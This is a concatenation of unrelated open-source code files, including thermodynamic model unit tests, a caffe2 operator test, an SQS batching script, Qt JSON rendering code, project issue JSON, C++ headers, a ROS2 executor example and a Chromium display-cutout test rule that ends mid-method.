subgroups=DOUFSG) assert_pint_allclose(GE.GE(), 1292.0910446403327, u.J/u.mol) get_properties = ['CpE', 'GE', 'HE', 'SE', 'd2GE_dT2', 'd2GE_dTdns', 'd2GE_dTdxs', 'd2GE_dxixjs', 'd2nGE_dTdns', 'd2nGE_dninjs', 'dGE_dT', 'dGE_dns', 'dGE_dxs', 'dHE_dT', 'dHE_dns', 'dHE_dxs', 'dSE_dT', 'dSE_dns', 'dSE_dxs', 'dgammas_dT', 'dgammas_dns', 'dnGE_dns', 'dnHE_dns', 'dnSE_dns', 'gammas', 'gammas_infinite_dilution'] for prop in get_properties: res = getattr(GE, prop)() assert isinstance(res, pint.Quantity) def test_ChemicalConstantsPackage_units(): obj = ChemicalConstantsPackage(MWs=[18.01528, 106.165]*u.g/u.mol, names=['water', 'm-xylene'], CASs=['7732-18-5', '108-38-3'], smiless=['O', 'CC1=CC(=CC=C1)C'], PubChems=[962, 7929],) assert_pint_allclose(obj.MWs[1], .106165, u.kg/u.mol) def test_VaporPressure_calculate_units(): EtOH = VaporPressure(Tb=351.39*u.K, Tc=514.0*u.K, Pc=6137000.0*u.Pa, omega=0.635, CASRN='64-17-5') ans = EtOH.calculate(300*u.K, 'LEE_KESLER_PSAT') assert_pint_allclose(ans, 8491.523803275244, u.Pa) # EtOH.method = 'LEE_KESLER_PSAT' # No setter support # ans = EtOH.T_dependent_property(300*u.K) # assert_pint_allclose(ans, 8491.523803275244, u.Pa) def test_RegularSolution_units(): GE = RegularSolution(T=80*u.degC, xs=np.array([.5, .5])*u.dimensionless, Vs=np.array([89, 109])*u.cm**3/u.mol, SPs=np.array([18818.442018403115, 16772.95919031582])*u.Pa**0.5) gammas_infinite = GE.gammas_infinite_dilution() gammas_infinite_expect = [1.1352128394577634, 1.1680305837879223] for i in range(2): assert_pint_allclose(gammas_infinite[i], gammas_infinite_expect[i], u.dimensionless) get_properties = ['CpE', 'GE', 'HE', 'SE', 'd2GE_dT2', 'd2GE_dTdns', 'd2GE_dTdxs', 'd2GE_dxixjs', 'd2nGE_dTdns', 'd2nGE_dninjs', 'd3GE_dT3', 'd3GE_dxixjxks', 'dGE_dT', 'dGE_dns', 'dGE_dxs', 'dHE_dT', 'dHE_dns', 'dHE_dxs', 'dSE_dT', 'dSE_dns', 'dSE_dxs', 'dgammas_dT', 'dgammas_dns', 'dnGE_dns', 'dnHE_dns', 'dnSE_dns', 'gammas', 'gammas_infinite_dilution'] for prop in get_properties: res = getattr(GE, prop)() assert isinstance(res, pint.Quantity) # Another example GE2 = RegularSolution(T=353*u.K, xs=np.array([.01, .99])*u.dimensionless, Vs=np.array([89, 109])*u.cm**3/u.mol, SPs=np.array([9.2, 8.2])*u("(cal/ml)**0.5")) GE.gammas() def test_UNIQUAC_units_1(): N = 3 T = 25.0*u.degC xs = np.array([0.7273, 0.0909, 0.1818])*u.dimensionless rs = np.array([.92, 2.1055, 3.1878])*u.dimensionless qs = np.array([1.4, 1.972, 2.4])*u.dimensionless tau_as = tau_cs = tau_ds = tau_es = tau_fs = np.array([[0.0]*N for i in range(N)]) tau_bs = np.array([[0, -526.02, -309.64], [318.06, 0, 91.532], [-1325.1, -302.57, 0]]) GE = UNIQUAC(T=T, xs=xs, rs=rs, qs=qs, tau_as=tau_as*u.dimensionless, tau_bs=tau_bs*u.K, tau_cs=tau_cs*u.dimensionless, tau_ds=tau_ds/u.K, tau_es=tau_es*u.K**2, tau_fs=tau_fs/u.K**2) gammas_expect = [1.5703933283666178, 0.29482416148177104, 18.114329048355312] gammas = GE.gammas() for i in range(3): assert_pint_allclose(gammas[i], gammas_expect[i], u.dimensionless, rtol=1e-10) get_properties = ['CpE', 'GE', 'HE', 'SE', 'd2GE_dT2', 'd2GE_dTdns', 'd2GE_dTdxs', 'd2GE_dxixjs', 'd2nGE_dTdns', 'd2nGE_dninjs', 'dGE_dT', 'dGE_dns', 'dGE_dxs', 'dHE_dT', 'dHE_dns', 'dHE_dxs', 'dSE_dT', 'dSE_dns', 'dSE_dxs', 'dgammas_dT', 'dgammas_dns', 'dnGE_dns', 'dnHE_dns', 'dnSE_dns', 'gammas', 'gammas_infinite_dilution'] for prop in get_properties: res = getattr(GE, prop)() assert isinstance(res, pint.Quantity) def test_NRTL_units_1(): N = 2 T = 70.0*u.degC xs = np.array([0.252, 0.748])*u.dimensionless tau_bs = np.array([[0, -61.02497992981518], [673.2359767158717, 0]])*u.K alpha_cs = np.array([[0, 0.2974],[.2974, 0]])*u.dimensionless GE = NRTL(T=T, xs=xs, tau_bs=tau_bs, alpha_cs=alpha_cs) get_properties = ['CpE', 'GE', 'HE', 'SE', 'd2GE_dT2', 'd2GE_dTdns', 'd2GE_dTdxs', 'd2GE_dxixjs', 'd2nGE_dTdns', 'd2nGE_dninjs', 'dGE_dT', 'dGE_dns', 'dGE_dxs', 'dHE_dT', 'dHE_dns', 'dHE_dxs', 'dSE_dT', 'dSE_dns', 'dSE_dxs', 'dgammas_dT', 'dgammas_dns', 'dnGE_dns', 'dnHE_dns', 'dnSE_dns', 'gammas', 'gammas_infinite_dilution'] for prop in get_properties: res = getattr(GE, prop)() assert isinstance(res, pint.Quantity) def test_Wilson_units_1(): '''All the time taken by this function is in pint. Yes, all of it. ''' T = 331.42 N = 3 A = [[0.0, 3.870101271243586, 0.07939943395502425], [-6.491263271243587, 0.0, -3.276991837288562], [0.8542855660449756, 6.906801837288562, 0.0]] B = [[0.0, -375.2835, -31.1208], [1722.58, 0.0, 1140.79], [-747.217, -3596.17, -0.0]] D = [[-0.0, -0.00791073, -0.000868371], [0.00747788, -0.0, -3.1e-05], [0.00124796, -3e-05, -0.0]] C = E = F = [[0.0]*N for _ in range(N)] xs = [0.229, 0.175, 0.596] lambda_coeffs = [[[A[i][j], B[i][j], C[i][j], D[i][j], E[i][j], F[i][j]] for j in range(N)] for i in range(N)] model_ABD = Wilson(T=T*u.K, xs=np.array(xs)*u.dimensionless, lambda_as=np.array(A)*u.dimensionless, lambda_bs=np.array(B)*u.K, lambda_ds=np.array(D)/u.K) GE_expect = 480.2639266306882 CpE_expect = 9.654392039281216 dGE_dxs_expect = [-2199.9758989394595, -2490.5759162306467, -2241.0570605371795] gammas_expect = [1.223393433488855, 1.1009459024701462, 1.2052899281172034] # From DDBST T = (331.42 -273.15)*u.degC Vs_ddbst = np.array([74.04, 80.67, 40.73])*u.cm**3/u.mol as_ddbst = np.array([[0, 375.2835, 31.1208], [-1722.58, 0, -1140.79], [747.217, 3596.17, 0.0]])*u.K bs_ddbst = np.array([[0, -3.78434, -0.67704], [6.405502, 0, 2.59359], [-0.256645, -6.2234, 0]])*u.dimensionless cs_ddbst = np.array([[0.0, 7.91073e-3, 8.68371e-4], [-7.47788e-3, 0.0, 3.1e-5], [-1.24796e-3, 3e-5, 0.0]])/u.K params = Wilson.from_DDBST_as_matrix(Vs=Vs_ddbst, ais=as_ddbst, bis=bs_ddbst, cis=cs_ddbst, unit_conversion=False) xs = np.array([0.229, 0.175, 0.596])*u.dimensionless model_from_DDBST = Wilson(T=T, xs=xs, lambda_as=params[0], lambda_bs=params[1], lambda_cs=params[2], lambda_ds=params[3], lambda_es=params[4], lambda_fs=params[5]) model_lambda_coeffs = Wilson(T=T, xs=xs, lambda_coeffs=np.array(lambda_coeffs)*u.dimensionless) for model in (model_ABD, model_from_DDBST, model_lambda_coeffs): assert_pint_allclose(model.GE(), GE_expect, u.J/u.mol) assert_pint_allclose(model.CpE(), CpE_expect, u.J/u.mol/u.K) dGE_dxs = model.dGE_dxs() gammas = model.gammas() for i in range(3): assert_pint_allclose(dGE_dxs[i], dGE_dxs_expect[i], u.J/u.mol) assert_pint_allclose(gammas[i], gammas_expect[i], u.dimensionless) get_properties = ['CpE', 'GE', 'HE', 'SE', 'd2GE_dT2', 'd2GE_dTdns', 'd2GE_dTdxs', 'd2GE_dxixjs', 'd2lambdas_dT2', 'd2nGE_dTdns', 'd2nGE_dninjs', 'd3GE_dT3', 'd3GE_dxixjxks', 'd3lambdas_dT3', 'dGE_dT', 'dGE_dns', 'dGE_dxs', 'dHE_dT', 'dHE_dns', 'dHE_dxs', 'dSE_dT', 'dSE_dns', 'dSE_dxs', 'dgammas_dT', 'dgammas_dns', 'dlambdas_dT', 'dnGE_dns', 'dnHE_dns', 'dnSE_dns', 'gammas', 'gammas_infinite_dilution', 'lambdas'] for model in (model_ABD, model_from_DDBST, model_lambda_coeffs): for prop in get_properties: res = getattr(model, prop)() assert isinstance(res, pint.Quantity)
7,130
585
<filename>caffe2/python/operator_test/emptysample_ops_test.py # Copyright (c) 2016-present, Facebook, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. ############################################################################## from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals from caffe2.python import core, workspace from caffe2.python.test_util import TestCase import numpy as np lengths = [[0], [1, 2], [1, 0, 2, 0]] features1 = [[], [1, 2, 2], [[1, 1], [2, 2], [2, 2]] ] features2 = [[], [2, 4, 4], [[2, 2], [4, 4], [4, 4]] ] lengths_exp = [[1], [1, 2], [1, 1, 2, 1]] features1_exp = [[0], [1, 2, 2], [[1, 1], [0, 0], [2, 2], [2, 2], [0, 0]]] features2_exp = [[0], [2, 4, 4], [[2, 2], [0, 0], [4, 4], [4, 4], [0, 0]]] class TestEmptySampleOps(TestCase): def test_emptysample(self): for i in range(0, 3): PadEmptyTest = core.CreateOperator( 'PadEmptySamples', ['lengths', 'features1', 'features2'], ['out_lengths', 'out_features1', 'out_features2'], ) workspace.FeedBlob( 'lengths', np.array(lengths[i], dtype=np.int32)) workspace.FeedBlob( 'features1', np.array(features1[i], dtype=np.int64)) workspace.FeedBlob( 'features2', np.array(features2[i], dtype=np.int64)) workspace.RunOperatorOnce(PadEmptyTest) np.testing.assert_allclose( lengths_exp[i], workspace.FetchBlob('out_lengths'), atol=1e-4, rtol=1e-4, err_msg='Mismatch in lengths') np.testing.assert_allclose( features1_exp[i], workspace.FetchBlob('out_features1'), atol=1e-4, rtol=1e-4, err_msg='Mismatch in features1') np.testing.assert_allclose( features2_exp[i], workspace.FetchBlob('out_features2'), atol=1e-4, rtol=1e-4, err_msg='Mismatch in features2') if __name__ == "__main__": import unittest unittest.main()
1,360
1,026
import boto3 import json import sys from multiprocessing import Pool file = '/path/to/file_with_records_as_jsonl' queue_url = 'your-queue-url' region = 'your-region' processor_count = int(sys.argv[1]) def send_message(data): sqs_client = boto3.client('sqs', region_name=region) sqs_client.send_message_batch( QueueUrl=queue_url, Entries=[{'MessageBody': json.dumps(x)} for x in data] ) def main(file): temp = [] total_records_sent = 0 with open(file) as f: data = [json.loads(line) for line in f] batched_data = [] for i in range(0, len(data), int(len(data)/processor_count)): batched_data.append(data[i:i + int(len(data)/processor_count)]) for _ in Pool(processes=processor_count).imap_unordered(send_message, batched_data): temp.append(_) for x in temp: total_records_sent += x if __name__ == "__main__": main(file)
453
942
/* Copyright (c) 2012-2019, <NAME> * All rights reserved. * * This software may be used and distributed according to the terms of * the New BSD License, which is incorporated herein by reference. */ #include <QJsonArray> #include <QJsonDocument> #include <QJsonObject> #include <QtCore> #include <TActionController> /*! Renders the JSON document \a document as HTTP response. This is available on Qt 5. */ bool TActionController::renderJson(const QJsonDocument &document) { return sendData(document.toJson(QJsonDocument::Compact), "application/json; charset=utf-8"); } /*! Renders the JSON object \a object as HTTP response. This is available on Qt 5. */ bool TActionController::renderJson(const QJsonObject &object) { return renderJson(QJsonDocument(object)); } /*! Renders the JSON array \a array as HTTP response. This is available on Qt 5. */ bool TActionController::renderJson(const QJsonArray &array) { return renderJson(QJsonDocument(array)); } /*! Renders the \a map as a JSON object. This is available on Qt 5. */ bool TActionController::renderJson(const QVariantMap &map) { return renderJson(QJsonObject::fromVariantMap(map)); } /*! Renders the \a list as a JSON array. This is available on Qt 5. */ bool TActionController::renderJson(const QVariantList &list) { return renderJson(QJsonArray::fromVariantList(list)); } /*! Renders the \a list as a JSON array. This is available on Qt 5. */ bool TActionController::renderJson(const QStringList &list) { return renderJson(QJsonArray::fromStringList(list)); } #if QT_VERSION >= 0x050c00 // 5.12.0 /*! Renders a CBOR object \a variant as HTTP response. */ bool TActionController::renderCbor(const QVariant &variant, QCborValue::EncodingOptions opt) { return renderCbor(QCborValue::fromVariant(variant), opt); } /*! Renders a CBOR object \a map as HTTP response. */ bool TActionController::renderCbor(const QVariantMap &map, QCborValue::EncodingOptions opt) { return renderCbor(QCborMap::fromVariantMap(map), opt); } /*! Renders a CBOR object \a hash as HTTP response. */ bool TActionController::renderCbor(const QVariantHash &hash, QCborValue::EncodingOptions opt) { return renderCbor(QCborMap::fromVariantHash(hash), opt); } /*! Renders a CBOR \a value as HTTP response. */ bool TActionController::renderCbor(const QCborValue &value, QCborValue::EncodingOptions opt) { QCborValue val = value; return sendData(val.toCbor(opt), "application/cbor"); } /*! Renders a CBOR \a map as HTTP response. */ bool TActionController::renderCbor(const QCborMap &map, QCborValue::EncodingOptions opt) { return renderCbor(map.toCborValue(), opt); } /*! Renders a CBOR \a array as HTTP response. */ bool TActionController::renderCbor(const QCborArray &array, QCborValue::EncodingOptions opt) { return renderCbor(array.toCborValue(), opt); } #endif
995
2,291
{ "id" : 536, "status" : "New", "summary" : "Transparent MBTiles", "labels" : [ "Type-Defect", "Priority-Medium" ], "stars" : 0, "commentCount" : 1, "comments" : [ { "id" : 0, "commenterId" : 3433002718840642805, "content" : "I have created an offline .mbtiles file with transparent tiles in it. I place this file in the osmdroid directory on the SD-card and when is start my app, the mbtiles are loaded on top of my base-map. However: there is no transparency, so the background is rendered gray.\r\n\r\nIs it possible to make MBTilesFileArchive render tiles with transparency just like tilesoruces does?\r\n\r\n<b>What steps will reproduce the problem?</b>\n1. Put .mbtiles file with transparency in OSMDroid directory \r\n2. Start map\r\n\r\n<b>What is the expected output? What do you see instead?</b>\nThe transparent regions are displayed gray; I expected that they were transparent so i could see the underlaying tilesource.\r\n\r\n<b>What version of the product are you using? On what operating system?</b>\nVersion 4.0, Android 4.4.2 KitKat\r\n\r\n", "timestamp" : 1397471925, "attachments" : [ ] } ] }
396
360
<filename>contrib/security_plugin/gs_policy_labels.h /* * Copyright (c) 2020 Huawei Technologies Co.,Ltd. * * openGauss is licensed under Mulan PSL v2. * You can use this software according to the terms and conditions of the Mulan PSL v2. * You may obtain a copy of Mulan PSL v2 at: * * http://license.coscl.org.cn/MulanPSL2 * * THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND, * EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT, * MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE. * See the Mulan PSL v2 for more details. * ------------------------------------------------------------------------- * * gs_policy_labels.h * * IDENTIFICATION * contrib/security_plugin/gs_policy_labels.h * * ------------------------------------------------------------------------- */ #ifndef GS_POLICY_GS_POLICY_LABELS_H_ #define GS_POLICY_GS_POLICY_LABELS_H_ #include <time.h> #include <memory> #include "catalog/gs_policy_label.h" #include "gs_policy/policy_common.h" #include "gs_policy/gs_string.h" #include "gs_policy_object_types.h" #include "gs_policy/gs_set.h" #define GET_RELATION(ID, LOCKTYPE) \ Relation rel = heap_open(ID, LOCKTYPE); \ if(rel == NULL) \ return false; \ typedef gs_stl::gs_set<gs_stl::gs_string> policy_default_str_uset; typedef gs_stl::gs_set<gs_stl::gs_string> policy_default_str_set; loaded_labels *get_policy_labels(); bool is_label_exist(const char *name); bool load_policy_labels(bool reload = false); /* check if some label include table */ bool check_label_has_object(const PolicyLabelItem *object, bool (*CheckLabelBoundPolicy)(bool, const gs_stl::gs_string), bool column_type_is_changed = false, const policy_default_str_set *labels = nullptr); /* update label value after schema/table/column rename */ bool update_label_value(const gs_stl::gs_string object_name, const gs_stl::gs_string new_object_name, int object_type); void reset_policy_labels(); void clear_thread_local_label(); #endif /* GS_POLICY_GS_POLICY_LABELS_H_ */
893
2,553
# Copyright 2020 Google LLC. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # # 1. Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # 3. Neither the name of the copyright holder nor the names of its # contributors may be used to endorse or promote products derived from this # software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. """Tests for DeepVariant runtime_by_region_vis visual report script.""" import io from absl.testing import absltest from absl.testing import parameterized import pandas as pd from deepvariant import runtime_by_region_vis from deepvariant import testdata def setUpModule(): testdata.init() # Json strings of dataframes from testdata.RUNTIME_BY_REGION. JSON_DF = ( '{"region":{"3":"0:4001-5000","2":"0:3001-4000","1":"0:1001-2000",' '"4":"0:5001-6000","0":"0:1-1000"},' '"get reads":{"3":0.148,"2":0.145,"1":0.139,"4":0.153,"0":0.095},' '"find candidates":{"3":0.2,"2":0.197,"1":0.188,"4":0.204,"0":0.186},' '"make pileup images":{"3":0.366,"2":0.315,"1":0.257,"4":0.104,"0":0.176},' '"write outputs":{"3":0.016,"2":0.016,"1":0.016,"4":0.006,"0":0.005},' '"num reads":{"3":36,"2":33,"1":37,"4":39,"0":37},' '"num candidates":{"3":3,"2":3,"1":3,"4":1,"0":2},' '"num examples":{"3":3,"2":3,"1":3,"4":1,"0":2},' '"Task":{"3":0,"2":0,"1":0,"4":0,"0":0},' '"total runtime":{"3":0.73,"2":0.673,"1":0.6,"4":0.467,"0":0.462},' '"Runtime":{"3":"0.73s","2":"0.673s","1":"0.6s","4":"0.467s","0":"0.462s"}}' ) JSON_BY_TASK_DF = ('{"Task":{"0":0},"get reads":{"0":0.68},' '"find candidates":{"0":0.975},' '"make pileup images":{"0":1.218},' '"write outputs":{"0":0.059},' '"num reads":{"0":182},' '"num candidates":{"0":12},' '"num examples":{"0":12},"total runtime":{"0":2.932}}') def is_an_altair_chart(chart): # Chart type strings look like: "<class 'altair.vegalite.v3.api.FacetChart'>" # Chart, FacetChart, LayerChart, and VConcatChart. string_type = str(type(chart)) return 'altair' in string_type and 'Chart' in string_type class RuntimeByRegionVisTest(parameterized.TestCase): @parameterized.parameters( dict(sharded=False, expected_regions=5), dict(sharded=True, expected_regions=96510), ) def test_e2e(self, sharded, expected_regions): if sharded: input_path = testdata.RUNTIME_BY_REGION_SHARDED else: input_path = testdata.RUNTIME_BY_REGION html_output = io.StringIO() runtime_by_region_vis.make_report( input_path=input_path, title='my fancy title', html_output=html_output) html = html_output.getvalue() self.assertIn( 'my fancy title', html, msg='The title is missing from the HTML.') self.assertIn( '{} regions'.format(expected_regions), html, msg='The subtitle contains the number of regions.') self.assertIn( 'regions account for', html, msg='The Pareto curve may be missing or it changed title') self.assertIn('bar', html, msg='Vega specs may be missing from the HTML') self.assertNotIn('sdlfkjdkjf', html, msg='Negative control failed') @parameterized.parameters( dict(raw_seconds=5, expected='5s'), dict(raw_seconds=3600, expected='1h'), dict(raw_seconds=62, expected='1m2s'), dict(raw_seconds=7200, expected='2h'), dict(raw_seconds=3661, expected='1h1m1s'), dict(raw_seconds=0.0001, expected='0.0s'), dict(raw_seconds=0.001, expected='0.001s'), dict(raw_seconds=0.1, expected='0.1s'), ) def test_format_runtime_string(self, raw_seconds, expected): self.assertEqual(expected, runtime_by_region_vis.format_runtime_string(raw_seconds)) def test_read_data_and_make_dataframes(self): input_path = testdata.RUNTIME_BY_REGION df, by_task = runtime_by_region_vis.read_data_and_make_dataframes( input_path) # Compare as json strings. self.assertEqual(df.to_json(), JSON_DF) self.assertEqual(by_task.to_json(), JSON_BY_TASK_DF) def test_chart_type_negative_control(self): self.assertFalse(is_an_altair_chart('some string')) self.assertFalse(is_an_altair_chart(None)) def test_totals_by_stage(self): by_task = pd.read_json(JSON_BY_TASK_DF) chart = runtime_by_region_vis.totals_by_stage(by_task) self.assertTrue(is_an_altair_chart(chart)) def test_pareto_and_runtimes_by_task(self): df = pd.read_json(JSON_DF) chart = runtime_by_region_vis.pareto_and_runtimes_by_task(df) self.assertTrue(is_an_altair_chart(chart)) @parameterized.parameters( dict(dataframe_json=JSON_BY_TASK_DF, msg='Histogram of tasks'), dict(dataframe_json=JSON_DF, msg='Histogram of regions'), ) def test_stage_histogram(self, dataframe_json, msg): df = pd.read_json(dataframe_json) chart = runtime_by_region_vis.stage_histogram(df, title='chart title') self.assertTrue(is_an_altair_chart(chart), msg=msg) chart_json = chart.to_json() self.assertIn('chart title', chart_json) def test_selected_longest_and_median_regions(self): df = pd.read_json(JSON_DF) chart = runtime_by_region_vis.selected_longest_and_median_regions(df) self.assertTrue(is_an_altair_chart(chart)) def test_top_regions_producing_zero_examples(self): df = pd.read_json(JSON_DF) chart = runtime_by_region_vis.top_regions_producing_zero_examples(df) self.assertTrue(is_an_altair_chart(chart)) def test_correlation_scatter_charts(self): df = pd.read_json(JSON_DF) chart = runtime_by_region_vis.correlation_scatter_charts( df, title='chart title') self.assertTrue(is_an_altair_chart(chart)) chart_json = chart.to_json() self.assertIn('chart title', chart_json) def test_individual_region_bars(self): df = pd.read_json(JSON_DF) chart = runtime_by_region_vis.individual_region_bars( df, title='chart title') self.assertTrue(is_an_altair_chart(chart)) chart_json = chart.to_json() self.assertIn('chart title', chart_json) if __name__ == '__main__': absltest.main()
2,937
826
<filename>eventuate-tram-sagas-micronaut-in-memory/src/main/java/io/eventuate/tram/sagas/micronaut/inmemory/TramSagaInMemoryFactory.java<gh_stars>100-1000 package io.eventuate.tram.sagas.micronaut.inmemory; import io.eventuate.common.inmemorydatabase.EventuateDatabaseScriptSupplier; import io.micronaut.context.annotation.Factory; import javax.inject.Named; import javax.inject.Singleton; import java.util.Collections; @Factory public class TramSagaInMemoryFactory { @Singleton @Named("TramSagasEventuateDatabaseScriptSupplier") public EventuateDatabaseScriptSupplier eventuateCommonInMemoryScriptSupplierForEventuateTramSagas() { return () -> Collections.singletonList("eventuate-tram-sagas-embedded.sql"); } }
253
5,703
package springfox.documentation.schema; public enum CollectionType { SET, LIST, ARRAY }
32
335
<reponame>ruk-shan/examples # Copyright 2017 Open Source Robotics Foundation, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import sys from examples_rclpy_executors.listener import Listener from examples_rclpy_executors.talker import Talker import rclpy from rclpy.executors import ExternalShutdownException from rclpy.executors import SingleThreadedExecutor def main(args=None): rclpy.init(args=args) try: talker = Talker() listener = Listener() # Runs all callbacks in the main thread executor = SingleThreadedExecutor() # Add imported nodes to this executor executor.add_node(talker) executor.add_node(listener) try: # Execute callbacks for both nodes as they become ready executor.spin() finally: executor.shutdown() listener.destroy_node() talker.destroy_node() except KeyboardInterrupt: pass except ExternalShutdownException: sys.exit(1) finally: rclpy.try_shutdown() if __name__ == '__main__': main()
581
2,291
{ "id" : 376, "status" : "New", "summary" : "r1121 breaks MyLocationOverlay close to dateline", "labels" : [ "Type-Defect", "Priority-Medium" ], "stars" : 0, "commentCount" : 1, "comments" : [ { "id" : 0, "commenterId" : -8177012077806897919, "content" : "<b>What steps will reproduce the problem?</b>\n1. turn on MyLocation while being close to the intl. dateline (physically or tweak the emulator)\r\n2. zoom out so that the screen spans the intl. dateline\r\n3. pan left and right\r\n4. the icon will disappear\r\n\r\n<b>What is the expected output? What do you see instead?</b>\nThe icon should always be visible at the correct location\r\n\r\n<b>What version of the product are you using? On what operating system?</b>\nr1123\r\n\r\n<b>Please provide any additional information below.</b>\nThis is basically caused by the same reasons as is issue 345. The fix provided under 345 does not help because r1121 of MyLocationOverlay stopped using the Projection.toMapPixels() method.\r\nThe patch for issue 364 does not help either for the same reason.\r\n\r\nSee attached patch.", "timestamp" : 1349898869, "attachments" : [ { "id" : 3760000000, "fileName" : "device-2012-10-11-081604.png", "fileSize" : 39785 }, { "id" : 3760000001, "fileName" : "device-2012-10-11-081622.png", "fileSize" : 42804 }, { "id" : 3760000002, "fileName" : "MyLocationOverlay.java.patch", "fileSize" : 1977 } ] } ] }
567
7,158
#ifndef CVVISUAL_KEY_POINT_SHOW_SETTING #define CVVISUAL_KEY_POINT_SHOW_SETTING #include <vector> #include <QPushButton> #include "opencv2/features2d.hpp" #include "keypointsettings.hpp" namespace cvv{ namespace qtutil{ /** * @brief this class is a KeyPointSetting which hides a KeyPoint or not */ class KeyPointShowSetting:public KeyPointSettings{ Q_OBJECT public: /** * @brief the constructor * std::vector<cv::KeyPoint> this argument is for the KeyPointSettingSelector and will be ignored. * @param parent */ KeyPointShowSetting(std::vector<cv::KeyPoint>,QWidget* parent=nullptr); /** * @brief set the Settings of the given keyPoint * @param key a CVVKeyPoint */ virtual void setSettings(CVVKeyPoint &key) override {key.setShow(button_->isChecked());} /*virtual void setUnSelectedSettings(CVVKeyPoint &key) override {key.setShow(!(button_->isChecked()));}*/ public slots: void updateButton(); private: QPushButton *button_; }; }} #endif
342
14,668
// Copyright 2018 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. package org.chromium.chrome.browser.display_cutout; import android.annotation.TargetApi; import android.graphics.Rect; import android.os.Build; import android.support.test.InstrumentationRegistry; import android.view.WindowManager.LayoutParams; import org.hamcrest.Matchers; import org.json.JSONException; import org.json.JSONObject; import org.junit.Assert; import org.junit.runner.Description; import org.junit.runners.model.Statement; import org.chromium.base.supplier.ObservableSupplier; import org.chromium.base.test.util.Criteria; import org.chromium.base.test.util.CriteriaHelper; import org.chromium.base.test.util.CriteriaNotSatisfiedException; import org.chromium.chrome.browser.app.ChromeActivity; import org.chromium.chrome.browser.fullscreen.FullscreenManager; import org.chromium.chrome.browser.fullscreen.FullscreenOptions; import org.chromium.chrome.browser.tab.Tab; import org.chromium.chrome.test.ChromeActivityTestRule; import org.chromium.chrome.test.ChromeTabbedActivityTestRule; import org.chromium.components.browser_ui.display_cutout.DisplayCutoutController; import org.chromium.content_public.browser.WebContentsObserver; import org.chromium.content_public.browser.test.util.DOMUtils; import org.chromium.content_public.browser.test.util.JavaScriptUtils; import org.chromium.content_public.browser.test.util.TestThreadUtils; import org.chromium.net.test.EmbeddedTestServer; import java.util.concurrent.TimeoutException; /** * Custom test rule for simulating a Display Cutout. This allows us to test display cutout * functionality without having a test device with a cutout. * * @param <T> The type of {@link ChromeActivity} to use for the test. */ @TargetApi(Build.VERSION_CODES.P) public class DisplayCutoutTestRule<T extends ChromeActivity> extends ChromeActivityTestRule<T> { /** These are the two test safe areas with and without the test cutout. */ public static final Rect TEST_SAFE_AREA_WITH_CUTOUT = new Rect(10, 20, 30, 40); public static final Rect TEST_SAFE_AREA_WITHOUT_CUTOUT = new Rect(0, 0, 0, 0); /** These are used for testing different device dip scales. */ public static final Rect TEST_SAFE_AREA_WITH_CUTOUT_HIGH_DIP = new Rect(4, 8, 12, 16); public static final float TEST_HIGH_DIP_SCALE = 2.5f; /** These are the different possible viewport fit values. */ public static final String VIEWPORT_FIT_AUTO = "auto"; public static final String VIEWPORT_FIT_CONTAIN = "contain"; public static final String VIEWPORT_FIT_COVER = "cover"; /** This class has polyfills for Android P+ system apis. */ public static final class TestDisplayCutoutController extends DisplayCutoutController { private boolean mDeviceHasCutout = true; private float mDipScale = 1; public static TestDisplayCutoutController create( Tab tab, final ObservableSupplier<Integer> browserCutoutModeSupplier) { DisplayCutoutTabHelper.ChromeDisplayCutoutDelegate delegate = new DisplayCutoutTabHelper.ChromeDisplayCutoutDelegate(tab) { @Override public ObservableSupplier<Integer> getBrowserDisplayCutoutModeSupplier() { return browserCutoutModeSupplier; } }; return new TestDisplayCutoutController(delegate); } private TestDisplayCutoutController(DisplayCutoutController.Delegate delegate) { super(delegate); } @Override protected void setWindowAttributes(LayoutParams attributes) { super.setWindowAttributes(attributes); // Apply insets based on new layout mode. if (getLayoutInDisplayCutoutMode() == LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_SHORT_EDGES && mDeviceHasCutout) { onSafeAreaChanged(TEST_SAFE_AREA_WITH_CUTOUT); } else { onSafeAreaChanged(TEST_SAFE_AREA_WITHOUT_CUTOUT); } } public int getLayoutInDisplayCutoutMode() { 